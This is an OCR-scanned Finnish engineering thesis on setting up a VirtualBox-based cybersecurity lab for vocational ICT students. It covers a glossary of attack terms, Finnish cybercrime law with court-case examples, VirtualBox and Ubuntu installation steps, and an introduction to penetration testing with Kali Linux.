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Insindoritydssa hahmoteltiin ammattikoulussa opiskeleville ICT-asentajille sopiva oppimis-
ymparisto kyberturvallisuuden opiskeluun. Ty6ssa testattiin VirtuaBox-virtualisointiymparis-
ton sopivuutta harjoitusymparistoksi. Testauksessa selvisi, etta VirtualBox-virtualisointijar-
jestelma on varsin sopiva ymparistt harjoitusten tekemiseen. VirtualBox-jarjestelman asen-
taminen on selvapiirteinen ja se on ilmainen ymparist6, ja mahdollistaa sen, etta opiskelijat
voivat asentaa myos kotikoneeseensa vastaavan ympariston.

Tyb6ssa perehdyttiin myos lainsaadantéon ja etsittiin esimerkkeja tapahtuneista kyberturva-
rikoksista ja niista saaduista rangaistuksista, jotta opiskelijat ymmartaisivat paremmin esi-
tettyjen ohjelmien ja hydkkaystekniikoiden vaarallisuuden, jos niitd kaytetaan vaarin.

Tiedustelutytkaluista selvitettiin Kali Linuxin ja sen tydkalujen, kuten Wiresharkin ja Zen-
map-porttiskannerin, kayttd esimerkkien avulla. Hyvien esimerkkiratkaisujen rakentaminen
on avainasemassa opetuksessa. Toimivien hyokkaysten dokumentoiminen vie runsaasti ai-
kaa, mutta on tarpeellista opiskelijoiden onnistumiskokemusten aikaansaamiseksi.

Myds puolustusmenetelmiéa koottiin tydhon esimerkinomaisesti.

InsinGoritydn tavoitteena oli selvittaa sopiva oppimisympéaristd ammattikoulun kyberturvalli-
suuden opetukseen, ja sellainen ymparistd 16ydettiin ja testattiin toimivaksi. Virtualbox-ym-
paristba ja testattuja harjoituksia voidaan jatkossa kayttaa opetusalustana ammattikoulun
opetuksessa.

Avainsanat Kyberturva, Wirehark, Virtualbox, Kali Linux, Google-hacking
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The purpose of this study was to find out what kind of learning environment is suitable to
study cyber security in vocational school. While doing this report, | found out that the best
environment to do cyber security exams is a software called VirtualBox. VirtualBox is a free
open source software, so students can install it onto their own computers and practice ex-
ams at home.l also examined the Finnish law in this study. Young students might try these
operators in business environment too, which is why it is important to teach them what they
can or can not do. There are some examples of cyber security crimes that have happened
before and what kind of sentences the hackers got from those crimes. With examples, |
explained the detailed function of some forensic tools. These tools were Wireshark forensic
tool and Zenmap portscanner tool. As a result, | can say that it takes a lot of time to make
detailed instructions for the students on how to make a working attack, but it is important for
their learning experience. Also some security-defense examples are introduced in this re-
port. The goal of engineering work was to find out a suitable learning environment for cyber-
security. The VirtualBox environment was suitable for that. In the future the tested labs and
VirtualBox environment can be used as a platform for teaching cybesecurity at the vocational
school.

Keywords cybersecurity
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Tunkeutumismenetelmia ja sanastoa

Haitallisen liitetiedoston sisaltavat sahkopostit: yleisin tapa levittda haittaohjelma [1].

Tietojenkalastelu: valheellisena tahona esiintymalla pyritéédn saamaan luottamuksellista
tietoa [1].

Kohdistettu tietojenkalastelu: vastaa tietojenkalastelua, mutta on suunnattu vain tietyille

vastaanottajille [1].

Exploit kit: selaimen tai sen litdnnaisten haavoittuvuuksia hyédyntava verkkosivulla toi-
miva haitallinen ohjelmisto, joka tartuttaa verkkosivulla vierailevaan tietokoneeseen jon-

kin haittaohjelman [1].

Lateraalileviaminen: Hyokkaaja levittaytyy sisaverkossa muihin koneisiin ja pyrkii hank-

kimaan admin-tunnukset. Alkutartunnan jalkeinen vaihe. [1.]

Ohjelmistohaavoittuvuudet: Ohjelmistohaavoittuvuuksien hyddyntdminen on tyypillinen
keino tartuttaa haittaohjelma tai esimerkiksi kasvattaa kayttooikeuksia uhrin tietoko-
neessa. "Remote code execution” ja "priviledge escalation” ovat molemmat pahoja.
Myds SQL-injektiot kuuluvat tahan. [1.]

Huijauslaskut: esimerkiksi toimitusjohtajan nimissa lahetettava valelasku [1].

Watering hole -sivustot: uhri houkutellaan viattomalta nayttavalle verkkosivulle, jossa uh-

rin tietokoneeseen tartutetaan haittaohjelma selaimen haavoittuvuuden avulla [1].

Water carrier -menetelma: esimerkiksi laitteen firmware- tai muuta ohjelmistopaivitysta

on peukaloitu sisaltamaan haittaohjelma [1].

Reitittimien haittaohjelmat: yrityksen reunareitittimen haltuunotto ja sen kaytto jalansi-

jana lateraalilevidmisessa ja tietoliikenteen salakuuntelussa [1].

Hybridiuhkat: eri menetelmien yhdistely, kuten esimerkiksi sdhkéverkon sabotaasin yh-

teydessa tehtava palvelunestohydkkays ja tietojen tuhoaminen [1].
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Paasy sisaverkkoon: huomaamaton paasy yrityksen sisaverkkoon esimerkiksi alihankki-

joiden tai tyontekijoiden kayttoon tarkoitetun VPN-yhteyden avulla [1].

BGP -hijacking: teleyritysten vélisen reitityksen peukaloinnin avulla tehtdva IP-osoittei-
den haltuunotto ja vaarinkaytto [1].

USB- ja muiden medioiden kayttd: Siirrettdvien medioiden avulla voidaan paasta ver-

kosta eristettyihin jarjestelmiin kiinni. Esimerkiksi BadUSB-haavoittuvuus ei edellyta au-

torun toimintoa. [1.]

Metasploit framework: tydkalu tiedustelu- ja hydkkaystoimintaan.

Armitage: graafinen kayttoliittyma Armitage-tyokaluun.

0-day exploit: haavoittuvuus, johon ei ole suojausta.

Ransomware: kiristysohjelma.

Eettinen hakkerointi: etsitdan laillisesti tietoturva-aukkoja yritysten tietojarjestelmista.

Payload: ohjelma koodi, joka suoritetaan kohdekoneessa onnistuneen hyokkayksen jal-
keen.

Exploit: ohjelmakoodi, joka kayttda hyvakseen tunnettua tai tuntematonta haavoittu-
vuutta suorittaakseen payload-ohjelman kohdekoneessa.
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1 Johdanto

Nykyaikainen yhteiskunta perustuu digitaalisiin jarjestelmiin. Jarjestelmia ohjataan tieto-
verkkojen kautta. Taman vuoksi esimerkiksi tietoverkkojen suojaus on oleellinen osa
yhteiskunnan infrastruktuurin suojaamista. Voidaan vain kuvitella, mitéa tapahtuu, jos ky-
berhydkkays kohdentuu seuraaviin kriittisiin yhteiskunnan toimintoihin: sahkénjakeluun,
tietolikenteeseen, kemianteollisuuteen, vesihuoltoon tai taloussektoriin. [2.] Myds teolli-
suus on hyvin haavoittuvainen mahdollisille kyberhytkkayksille. Teollisuuden erilaiset
automaatiojarjestelmat ja anturijarjestelmat voivat olla hyékkaajien kohteena ja muodos-

tavat huonolla suojauksella todellisen uhan yrityksen toiminnalle.

Kansallisessa keskustelussa termi “kyberturvallisuus” on 2010-luvulla tullut aiemmin
kaytetyn termin "tietoturvallisuus” rinnalle. Maaritelmallisesti nAma kuitenkin ovat hieman
eri asioita. Tarkasti ottaen kyberturvallisuus voidaan ajatella pelkk&a tietoturvallisuutta
laajempana kasitteend, joka kattaa tietojen ja niité kasittelevien laitteiden lisdksi myods
niité kasittelevat ja niihin luottavat ihmiset aina yhteiskunnan etuun ja kriittiseen infra-

struktuuriin saakka. [3.] Kuvasta 1 ilmenevét tietoturvan ja kyberturvan suhteet.

Muut kuin tietovaran-

liman tietotek- Tietoteknisesti sailytet- not, jotka ovat haa-
niikkaa sailytet- tava tai siirettava tieto o

tiva tai siirretts- voittuvia tietoteknolo-
ava tal stirretls gian kautta. M&ita

va tieto \

ovat esimerkiksi yh-
teiskunnan toiminnan
kannalta kriittiset
hyodykkeet kuten
sahko ja puhdas vesi.

Tietoturvallisuus Kyberturvallisuus

Kuva 1:Tietoturvallisuuden ja kyberturvallisuuden suhde [4, muokattu].
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Tassa Insintoritydssa on tarkoitus selvittdd kyberturvallisuuden opettamista ammatilli-
sessa koulutuksessa seka l6ytaa ja testata sopiva oppimisympaéristd kyberturvallisuuden
opettamiseen.

2 Kyberturvallisuuden huomioiminen ICT-asentajan opetussuunnitel-
massa

Ammattikoulusta valmistuvat ICT-asentajat sijoittuvat tydelamassa tehtéaviin, joissa
asennetaan esimerkiksi tietoliikennelaitteita, antureita, ohjausjarjestelmia ja halytysjar-
jestelmia. On tarkeda, etta opiskelijalle muodostuu oikea nakemys tarvittavista suojaus-
toimista, joilla voidaan minimoida ulkopuolisten tahojen paasy digitaalisiin jarjestelmiin.
Opiskelun aikana on hyva harjoitella suojatussa jarjestelmassa tapahtuvaa hyokkaysta
ja sen analysointia seka tietysti puolustautumista niin tietoturva- kuin kyberturvauhkia
vastaan. Lisaksi taytyy kayda lapi lainsaadantda, jotta opiskelijat ymmartavat, mita ei saa
tehda ja millaiset oikeudelliset seuraamukset vaaranlaisesta nettikayttaytymisesta saat-

taa tulla.

ICT-asentajan opetussuunnitelmassa, joka pohjautuu vuonna 2009 julkaistuun tieto- ja
tietolikenteen opetussuunnitelmaan, ei varsinaisesti kasitella ollenkaan kyberturvalli-
suutta. Kahdessa opintokokonaisuudessa kyberturvallisuutta sivutaan osana laitteiden

ja palveliminen tietoturvaa.

Tietokone- ja tietoliikenneasennukset —opintokokonaisuudessa, jonka laajuus on 30
osaamispistetta, sité sivutaan arvioinnin kohdassa "ohjelmistot ja tietoturva”. Hyvéan (H2)
ammattitaidon vaatimuksena on, etta opiskelija osaa ohjelmien asentamisen ja kaytt6on-
oton seka yksittdiskoneessa etta lahiverkossa ottaen huomioon tietoturvan. Kiitettvan
(K3) ammattitaidon vaatimuksena on, etta opiskelija osaa asennusten automatisoinnin,

tietoturvan seka yksittaiskoneessa etta lahiverkossa. [5.]

Palvelinjarjestelmat ja projektitydskentely nimisessa opintokokonaisuudessa, jonka laa-
juus on 30 osaamispistettd, sivutaan aihealuetta kohdassa "Palvelimen tietoturvallisuus”.

Tyydyttdvan (T1) tason aihealueessa saavuttaa, kun hahmottaa palvelinjarjestelmiin
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kohdistuvat tietoturvauhat. Hyvan (H2) tason vaatimuksena on, ettd osaa asentaa pal-
velimeen perustietoturvaohjelmistot, ja kiitettavan (K3) vaatimuksena on se, etta opiske-
lija hallitsee tietoturvan kokonaisuutena ja osaa tarvittavien ohjelmistojen asennuksen

seka hallitsee niiden kayton. [5.]

Kuten aikaisemmin todettiin, kyberturvallisuuden kouluttaminen on tarke&é. Uudessa,
vuoden 2020 elokuussa kayttdonotettavassa opetussuunnitelmassa kyberturvallisuuden
opetukseen on kiinnitetty erityisesti huomiota ja siihen ollaan rakentamassa 30 osaamis-
pisteen laajuista opintokokonaisuutta. Valtioneuvoston Selvitys- ja tutkimustoimikunta
esitti vuonna 2016 raportissaan "Kyberosaaminen Suomessa - Nykytila ja tiekartta tule-

vaisuuteen” seuraavaa:

"Kyberturvallisuuden koulutusta on tarpeen jarjestaa eri tasoilla ja erilaisilla painotuksilla al-
kaen tietoturvan kansalaistaidoista aina erikoistuneeseen korkeakoulutukseen asti. Kansa-
laistaitojen varmistamiseksi voidaan perustaa kyberajokortti, joka tarjoaisi perusymmarryk-
sen henkilokohtaisesta kyberturvallisuudesta. Lapaisevyysperiaatteen mukaisesti kybertur-
vallisuustietoutta pitaisi integroida myds muiden alojen koulutukseen. Kyberturvallisuusalalla
on tarke&a, ettd on saatavilla myds riittdvan operatiivisen osaamisen omaavia ammattilaisia.
Siksi esimerkiksi liikkeenjohdon, hallinnon tai IT-alan osaajat tarvitsevat myos kyberturvalli-
suusosaamista. Samanaikaisesti on tarkeda turvata erikoistumiseen tahtdava koulutus. Taté
varten tarvitaan uusia toisen ja kolmannen asteen oppimisrakenteita ja koulutussuunnitel-

mia.” [3.]

Kyberturvallisuuden opettaminen tulisi jarjestaa niin, etta ensin pohdittaisiin kokonaisval-
taisesti kasitetta "kyberturvallisuus”. Taman jalkeen kerrattaisiin tietoliikenteesta perus-
protokollien toimintaperiaatteet. Seuraavaksi olisi syyta kdyda aiheeseen liittyva lainsaa-
danto lapi, jotta opiskelijat ymmartaisivat, etta vaarin kayttaytymisesta voi joutua jopa
vankeuteen. Taman jalkeen jokainen opiskelija rakentaisi laboratorioymparistéon oman
erillisen virtuaalisoidun harjoitusympariston, jossa han paéasisi harjoittelemaan seka

hyokkaysta etta taman jalkeen jarjestelman puolustusta.
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3 Kyberrikoksia méaaritteleva lainsdadanto

Kyberturvallisuuden testausta ja hyokkayksia estetaan lainsdadannon avulla. Suomen
rikoslain lukujen 34 (Yleisvaaralliset rikokset), 35 (Vahingonteko) ja 38 (Tieto- ja viestin-
tarikokset) lainsdadanto on tarkoitettu suojelemaan kansalaisia, yhteiskuntaa ja yrityksia

luvattomalta jarjestelmiin tunkeutumiselta.

"Tietoverkkorikoksista valtaosa tutkitaan paikallispoliisissa. Kaikissa poliisilaitok-
sissa toimii digitaalisen todistusaineiston késittelyyn ja analysoimiseen erikoistu-
neita yksikoitad. Keskusrikospoliisissa toimii maaliskuussa 2015 perustettu tieto-
verkkorikosten esitutkintaan erikoistunut yksikk®, Kyberrikostorjuntakeskus, jossa
tutkitaan paaasiallisesti tietoverkkoymparistossa tehtyja laajempia kansainvalisia

rikoskokonaisuuksia.” [6.]

Rikoslain luvut kdydaén tarkasti opiskelijoiden kanssa lavitse, ennen kuin varsinaisesti
aloitetaan ensimmaistakaéan harjoitusta. Lain ja rangaistusten tunteminen auttaa opiske-
lijoita pysymé&an lain oikealla puolella, ja samalla paneudutaan niin sanottujen valkohat-
tuhakkereiden eettisiin sdéntoihin, joissa noudatetaan lakia.

3.1 Laittomat koodinpurkuohjelmistot ja -laitteet

Rikoslain yleisvaaralliset rikokset -luvun 34, pykélat 9a ja 9b kasitelevat vaaran aiheut-
tamista tietojenkasittelylle seka tietoverkkorikosvalineen hallussapitoa. Nama kasittavat
sellaisia asioita kuin laitteet, ohjelmat tai ohjeet, joilla voidaan vahingoittaa tietojarjestel-
mi&, murtaa tai purkaa salasanoja, suojauksia ja paasykoodeja. Naiden tuotteiden val-
mistaminen, maahantuonti ja levittdminen on tuomittavaa ja saattaa johtaa enimmillaan
kahteen vuoteen vankeutta. Hallussapidosta voidaan tuomita vankeuteen enintaan kuu-
deksi kuukaudeksi. [7.]

3.2 Datavahingonteko

Rikoslain Vahingonteot-luvun (luku 35) pykalat 3a, 3b ja 3c kasittelevéat datavahingonte-

koa. Asiasisaltdna tassa luvussa on datan havittaminen, turmeleminen, katkeminen, va-
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hingoittaminen, muuttaminen tai saattaminen kayttokelvottomaksi seka salaa tietovali-
neelle tallennettu tieto. Tuomiot vaihtelevat sakosta aina kahden vuoden vankeustuo-
mioon saakka. Erityisen torkeasta teosta, jolloin toiminta on osana rikollisjarjeston toi-
mintaa tai se kohdistuu tietojarjestelméaén, jonka vahingoittaminen vaarantaa energia-
huollon, yleisen terveydenhuollon, maanpuolustuksen, oikeudenhoidon tai muun naihin
rinnastettavan yhteiskunnan tarkean toiminnon, tuomio on vahintdan nelja kuukautta ja

enintaan viisi vuotta vankeutta. [7.]

3.3 Tiedon salassapito

Rikoslain luvussa 38 pykalat 1-2 kasittelevat tiedon salassapitoa. Tietoa tai seikkaa, joka
lain tai asetuksen mukaan on maaritelty salassa pidettavaksi ja jonka henkilé on saanut
tietoonsa asemansa tai tehtéavaa suorittaessaan, ei saa paljastaa tai kayttdd omaksi tai
toisen hyoddyksi. Tuomio voi vaihdella sakosta enintdan yhden vuoden vankeuteen. [7.]

Pykalat 3-4 kasittelevat viestintdsalaisuuden loukkaamista. Tama kasittaa niin kirjesa-
laisuuden kuin sdhkoisen viestin eri keinoin avaamista tai suojauksen murtamista. Tuo-
mio voi vaihdella sakosta aina kahden vuoden vankeusrangaistukseen saakka. Erityisen
torkeissa tapauksissa, esimerkiksi jos rikoksentekija toimii teleyrityksen palveluksessa ja

tekee torkean viestintdsalaisuuden loukkauksen, voi tuomio olla kolme vuotta vankeutta.

[7.]

Pykalat 5, 6 ja 7a kasittelevat tietoliikenteen hairintdd. Hairinnalla tarkoitetaan posti-,
tele- ja radioliikenteen hairintaa ilkivaltaisessa tarkoituksessa joko lahettamalla hairitse-
vid viesteja tai muuten estamalla posti-, tele- tai radioliikennetta. Tuomio hairinnasta voi
olla sakkotuomio tai kahden vuoden vankeustuomio. Mikali hairinta on ollut erityisen tor-
ke&a tai se on kohdistunut julkispalveluihin, joilla turvataan ihmishenkia tai henkilé on
ollut teletoimintaa, kaapelildhetystoimintaa tai yleisradiotoimintaa harjoittavan yrityksen
palveluksessa tai hairintd on ollut osana rikollisjarjestétoimintaa, enimmaisrangaistus voi

olla viisi vuotta vankeutta. [7.]

Pykala 7c kasittelee torkeaa tietojarjestelméan hairintaa, jossa aiheutetaan erityisen tun-
tuvaa haittaa tai taloudellista vahinkoa tietojarjestelmille. Rangaistus vaihtelee neljasta

kuukaudesta aina viiteen vuoteen vankeutta. [7.]
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Pykalat 8 ja 8a kasittelevat tietomurtoa. Murtautuja kayttdd hanelle kuulumatonta kayt-
tajatunnusta tai turvajarjestelyn muuten murtaen tunkeutuu tietojérjestelmééan. Rangais-
tus on sakko tai enimmilla&n kahden vuoden vankeus. Mikali tietomurto tehdaan osana
jarjestaytynytta rikollisuutta, voi rangaistus olla enimmilldadn kolme vuotta vankeutta.
Myos datan katselu teknisen erikoislaitteen tai turvajarjestelyt ohittaen vilpillisessa mie-
lessé on rangaistavaa. [7.]

Pykala 8b kasittelee purkujarjestelmarikosta. Siina kasitelladn suojatun palvelun tarjo-
ajan oikeuksia vahingontekijoita vastaan. Purkamiseen tarkoitettuja laitteita ei saa tuoda
maahan, myyda, vuokrata tai valmistaa eikd asentaa tai huoltaa. Rangaistus on enin-

taan yksi vuosi vankeutta. [7.]

Pykala 9 kasittelee henkildrekisteririkosta. Rikokseen voi syyllistya joko tahallaan tai k-
sittelemalla térkean huolimattomasti henkildtietoja vastoin henkildtietolain kayttotarkoi-
tussidonnaisuutta, estamalla rekisterditya henkiloa kayttamasta hanelle kuuluvaa tarkas-
tusoikeutta tai siirtamalla tietoja Euroopan unionin ulkopuolelle. Rangaistus on sakko tai

vankeutta enintaan yksi vuosi. [7.]

Pykala 9a kasittelee identiteettivarkautta, jossa kaytetaan oikeudettomasti toisen henki-
I6tietoja tai tunnistetietoja erehdyttdma&an kolmatta osapuolta ja siten aiheutetaan talou-
dellista vahinkoa tai haittaa sille, jota tieto koskee. Rangaistus on sakko. [7.]

3.4 Esimerkkeja tietomurtorangaistuksista

Tarkeaa on lainsdadannon lapikaymisen jalkeen konkreettisin rikostuomioesimerkein
tuoda elavasti opiskelijoille selvaksi, etta rikos ei kannata. Seuraavaan on poimittu muu-

tamia aiheeseen liittyvia artikkeleita sanomalehdista.

”17-vuotias suomalaispoika tuomittiin Espoossa yli 50 000 palvelimen murtamisesta. Es-
poon karajaoikeus tuomitsi nimimerkkia Ryan kayttaneen teinipojan kahden vuoden ehdol-
liseen vankeuteen 50 700 palvelimen murtamisesta. Oikeuden asiakirjojen mukaan hanen
uhreihinsa lukeutui esimerkiksi Harvardin yliopisto seké teknologiayliopisto MIT. Tietomur-
roissa muun muassa kaapattiin sahkdposteja, estettiin liikennettéa verkkosivustoille ja va-
rastettiin luottokorttitietoja. Ehdollisen vankeuden liséksi "Ryanin” tietokone takavarikoitiin
ja hanet méaarattiin palauttamaan noin 6 600 euron edestd omaisuutta, jonka hén oli rikok-

sillaan hankkinut”. [8.]
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"Naisen Facebook-profiilia muuttanut mies on tuomittu hovioikeudessa tietomurrosta ja
kunnianloukkauksesta 20 paivasakon rangaistukseen seka korvaamaan naiselle karsimyk-
sesta 300 euroa, kertoo uutispalvelu Edilex. Oikeus totesi, ettd mies oli oikeudettomasti ja
hanelle kuulumatonta kayttajatunnusta kayttden tunkeutunut naisen Facebook-tilille. Oi-
keus tulkitsi Facebook-tilin tietojarjestelmaksi, jossa sahkoisesti kasitellaan, varastoidaan

ja siirretdan tietoja”. [9.]

"OP:n rahaliikenteen katkaisusta nettislangilla kirjoitetun viestin lahettajaksi epéaillaéan teko-
aikaan 17-vuotiasta miestd. Nykyisin 20-vuotiasta miesta pidetaan paatekijana laajassa
pankkeihin ja mediaan kohdistuneessa hydkkayssarjassa. Hanen epaillaéan tehneen hyok-
kayksia myos Nordeaa, Danske Bankia, Aktiaa ja mediayhti6ita vastaan. Mies on myonta-
nyt ison osan palvelunestohyokkayksista, mutta kiistaa syyllistyneensa kiristykseen. Myos
hanen ystavansa on osasyytettynd useissa teoissa. Syyttaja vaatii paaepaillylle enimmil-
laén kolmen vuoden ehdotonta vankeusrangaistusta. Pankki vaatii hanelta yli 450 000 eu-

ron korvauksia”. [10.]

4  Oppimisympariston valinta

Oppimisymparisttn valintaan vaikuttaa monta asiaa. Tarkein asia mielestani on se, etta
opiskelijat voivat turvallisesti harjoitella esimerkiksi hydkkaysprosesseja. Tallainen ym-
paristd saadaan luomalla muista kayttajista riippumaton virtuaaliymparisto, josta hyok-

kaykset eivat karkaa reaaliymparistdon ja aiheuta haittaa muille verkon kayttajille.

4.1 Oppimisymparistona VirtualBox

VirtualBox virtualisointijarjestelma on Oraclen kehittdma Type 2 -luokan virtualisointiym-
paristo, joka vaatii toimiakseen isantakayttojarjestelman. Isantakayttdjarjestelmaksi sopii
laaja valikoima kayttojarjestelmia: Windows-tydaseman kayttdjarjestelmat, Windows ser-
ver -kayttojarjestelmat, Linuxin eri jakeluversiot, Applen OS-kayttojarjestelmat ja Solaris-
kayttojarjestelma. Virtuaalikoneiksi voidaan my6s asentaa laaja valikoima erilaisia kayt-
tojarjestelmid, kuten esimerkiksi MS-DOS kayttojarjestelma. Kuvasta 2 ilmenevat Virtual-

Box-ymparistossa toimivat kayttojarjestelmat.
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Guest Platforms

Oracle VM VirtualBox Software

Host Platforms

Kuva 2: VirtualBOX -ympéristo [11].

VirtualBox jarjestelmén valintaa kouluympéaristdon puoltaa myos se, etta Virtuabox ei
vaadi ns ” laitteistotason” virtualisointia. Suorittimen ei tarvitse tukea Intel VTx- tai AMD-
V-virtualisointiominaisuutta. Tama mahdollistaa vanhemmankin konekannan kayton har-

joituksissa.

Virtualisoinnin hy6tyja ovat muun muassa seuraavat asiat: Voidaan ajaa useita kaytto-
jarjestelmia samanaikaisesti yhden tietokonelaitteiston sisélla ja suorittaa eri kayttojar-
jestelmille kirjoitettuja sovelluksia. Voidaan asentaa valmiiksi esiasennettuja sovellus-
paketteja virtuaalikoneisiin (esimerkiksi sdhkopostipalvelin), voidaan testimielessa kon-
figuroida asennuksia ja niin sanotun "snapshots”-toiminnon avulla palauttaa jarjestelma

alkutilaan.

4.2 VirtualBox-ympariston asentaminen

VirtualBox-jarjestelmé@ asennetaan seuraavasti: Ladataan ensin VirtualBox.org-sivus-
tolta omalle kayttojarjestelmalle sopiva versio. Lataamisen jalkeen asennus kaynniste-
tddn kuten muukin, esimerkiksi Windowsin paélle asennettavien ohjelmien asennus.

Asennuksen lopuksi voidaan valita, etta asennus luo pikakuvakkeen tyopdydalle.
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Uusi virtuaalikone lisatéaan VirtualBox-ymparistoon seuraavasti: Valitaan "NEW” Virtual-
Boxin hallintaikkunasta. Kohtaan "type” valitaan kayttojarjestelman tyyppi, joka on tassa
tapauksessa Linux. VirtualBox-jarjestelm&an on ohjelmoitu kuhunkin kayttojarjestelma-
tyyppiin soveltuvia virtuaalikoneasetuksia. Lisaksi tulee valita, onko asennettava jarjes-
telmé& 32-bittinen vai 64-bittinen. "Name” -kenttaan kannattaa kirjoittaa kayttojarjestel-
man jakeluversio seké sen version numero, joka asennaa. Tama helpottaa oikean virtu-
aalikoneen kaynnistysté harjoitusymparistdéssa. Kuvassa 3 on esitetty hyva nimeamisjar-

jestelma.

Name and operating system

Please choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install on
it. The name you choose will be used throughout VirtualBox to
identify this machine.

Name: |Ubuntu Desktop 18.0.01 |

Type: |Linux = E;l’
Version: |Ubuntu (64-bit) -

Expert Mode Cancel

Kuva 3: 64-bittisen Ubuntu -kayttojarjestelman asennus.

Asennuksen seuraavassa vaiheessa varataan virtualisoidulle kayttdjarjestelmalle sopiva
maéra keskusmuistia. Mitd enemman virtuaalikoneille voidaan méaaritella keskusmuistia,
sita paremmin ne toimivat. Tulee kuitenkin huomioida koneen muistirajoitukset, silla sil-
loin kun virtuaalikone on kaynnistetty, se varaa kayttoonsa tassa kohdassa maaritellyn

muistikapasiteetin. Kuvassa 4 ilmenevat virtuaalikoneen muistinsdatomahdollisuudet.
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Memory size
Select the amount of memory (RAM) in megabytes to be
allocatad to the virtual machine.

The recommended memory size is 1024 MB.

v 1024 |2 me

16384 MB

Kuva 4:Virtuaalikoneen muistinmaaritys.

Taman jalkeen luodaan virtuaalikonetta varten kiintolevy, jonka oletuskoko 10 GB on
sopiva asenettavalle LINUX-kayttojarjestelmalle. Kuvassa 5 esitetddn virtuaalikoneen
kiintolevyn maarittelyvaihtoehto.
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@ Create Virtual Machine

Hard disk

If you wish you can add a virtual hard disk to the new machine.
You can either create a new hard disk file or select one from
the list or from another location using the folder icon.

If you need a more complex storage set-up you can skip this
step and make the changes to the machine settings once the
machine is created.

The recommended size of the hard disk is 10,00 GB.
(") Do not add a virtual hard disk
(®) Create a virtual hard disk now

() Use an existing virtual hard disk file

Kali.vdi (Mormal, 25,58 GB)
Create Cancel

Kuva 5: Virtuaalikoneen virtuaalikiintolevyn tyypin maarittely.

Virtuaalikiintolevyn tyypiksi valitaan VDI (Virtual Disk Image), joka on VirtualBox -jarjes-
telmén taysin tukema levyjarjestelma. VirtualBox tukee mytds VMDK-formaattia, jota
kayttad esimerkiksi VMware, seka Micrsosoftin kayttamaa VHD-formaattia. Paras valinta

virtuaalikoneen kiintolevyn valinnaksi esitetdén kuvassa 6.
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Hard disk file type

Please choose the type of file that you would like to use for the new virtual hard
disk. If you do not need to use it with other virtualization software you can leave

this setting unchanged.

(®) VDI (VirtualBox Disk Image)

(_) VHD (Virtual Hard Disk)

() VMDK (Virtual Machine Disk)

Expert Mode Mext Cancel

Kuva 6: Asennuksessa valitaan virtuaalikiintolevyn asennustyypiksi VDI.

Asennuksen seuraavassa vaiheessa valitaan kiintolevyn tyyppi, jota asennuksessa kay-
tetaan. Kaytannollisin valinta on ottaa dynaamisesti laajeneva kiintolevytyyppi. Talldin

kiintolevytilaa kasvatetaan sitd mukaa, kuin tarvetta ilmenee. Kuvassa 7 asennusta var-

ten valitaan Dynamically allocated -valinta.
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Kuva 7: Asennuksessa valitaan dynaamisesti laajeneva kiintolevy.

Storage on physical hard disk
Flease choose whether the new virtual hard disk file should grow as it is used
(dynamically allocated) or if it should be created at its maximum size (fixed size).
A dynamically allecated hard disk file will only use space on your physical hard
disk as it fills up (up to @ maximum fixed size), although it will not shrink again

automatically when space on it is freed.

A fixed size hard disk file may take longer to create on some systems but is often
faster to use.

(®) Dynamically allocated

() Fixed size

Cancel

13

Seuraavaksi valitaan paikka, josta Ubuntu Desktop -jarjestelma asennetaan ja aloitetaan

Ubuntun asennus. Kuvassa 8 selataan asennusta varten oikea .iso-tiedosto ja valitaan

se asennusta varten.

Kuva 8: Etsitaan Selaa -toiminnolla oikea .iso-asennustiedosto.

Kuvassa 9 aloitetaan suomenkielisen Ubuntun asennus.

Please select a virtual optical disk file or a physical optical
drive containing a disk to start your new virtual machine
from.

The disk should be suitable for starting a computer from and

should contain the operating system you wish to install on

the virtual machine if you want to do that now. The disk will
be ejected from the virtual drive automatically next time you

switch the virtual machine off, but you can also do this
yourself if needed using the Devices menu.

ubuntu-18.04.1-desktop-amd64.iso (1,82 GB) v | &R
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File Machine View Input Devices Help

I You have the Auto capture keyboard option turned on. This will cause the Virtual Machine to automatically capture the (L)) (5 I

The Virtual Machine reports that the guest OS supports mouse pointer integration. This means that you do not need to (L)) (50

No localization (UTF-8)
Norsk bokmal

Norsk nynorsk
Polski

Portugués
Portugués do Brasil

Romana

samegilli E—
Shqip
Slovencina Kokeile Ubuntua Asenna Ubuntu
Slovenséina
Voit kokeilla Ubuntua suoraan télta CD-tallennusvalineelts tekematta muutoksia
svenska tietokoneellesi.
Tagalog
[ Tigng vié Jos olet valmis, voit asentaa Ubuntun nykyisen kayttajarjestelmasi rinnalle tai
g Viet 2 ; :
tilalle. Asentaminen ei kesta kauan.
Tarkge
ENAvika

P I— Voit halutessasi lukea julkaisumuistion.

FONSS W0 EE o

Kuva 9: Aloitetaan Ubuntu-kayttojarjestelman asennus.

5 Penetraatiotestaus

Termi "penetraatio” tarkoittaa l&paisya tai tunkeutumista. Tietojarjestelmista puhuttaessa
termi tarkoittaa tietomurtoa suojattuun tietojarjestelmaan. Testauksen tarkoituksena on

l6ytaa haavoittuvuuksia eika niinkaan testata, voidaanko niita kayttaa hyvaksi.

Penetraatiotestaukseen liittyvat yleensa keskustelut kohdeyrityksen asiantuntijoiden
kanssa. Haastattelujen tarkoituksena on saada kokonaiskuva yrityksen verkosta, ja ko-
konaiskuvan synnyttya voidaan suunnitella verkkoskannaus. Verkon skannauksella tut-
kitaan potentiaaliset hytkkayskohteet, porttiskannauksella tutkitaan ja etsitaan jarjestel-
man avoimet portit ja haavoittuvuusskannauksella etsitddn kohdejarjestelmasta tunnet-

tuja haavoittuvuuksia. [12; 13.]

Penetraatiotestaukseen ja tutkimukseen kaytetddn Kali Linux -ohjelmistoa. Sen valinta
oppilaitosymparistdon on perusteltua ohjelman ilmaisuuden ja monipuolisuuden vuoksi.
Siita Ioytyvat niin eettiseen hakkerointiin kaytettavat tydkalut kuin asioiden tutkimiseen
liittyvat tyokalut. Lisaksi siind on valmiiksi konfiguroitu virtuaalikone oppilaitokseen vali-

tulle VirtuaBox-ympaéristélle. [14.]
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Kali Linux asennetaan lataamalla VirtualBox-ympéristoon tarkoitettu Image OF-
FENSSIVE Security yrityksen verkkosivuilta ja tuomalla se sen jalkeen VirtualBox-ym-
paristoon. Samasta paikasta [0ytyvat valmiit kuvat myds VM-Warelle tarkoitettuun ym-
paristoon.

Kali Linuxissa on noin 600 erilaista tyokalua, joilla voidaan monella eri tavavalla testata
jarjestelmia. TyoOkalut on ryhmitelty seuraaviin aihekokonaisuuksiin: informaation keraa-
minen (Information Gathering), haavoittumisen analysointi (Vulnerability Analysis), lan-
gattoman verkon kautta tapahtuvat hyokkaykset (Wireless Attacks), web-sovellukset
(Web Applications), haittaohjelmatytkalut (Exploitation Tools), tutkintatydkalut (Foren-
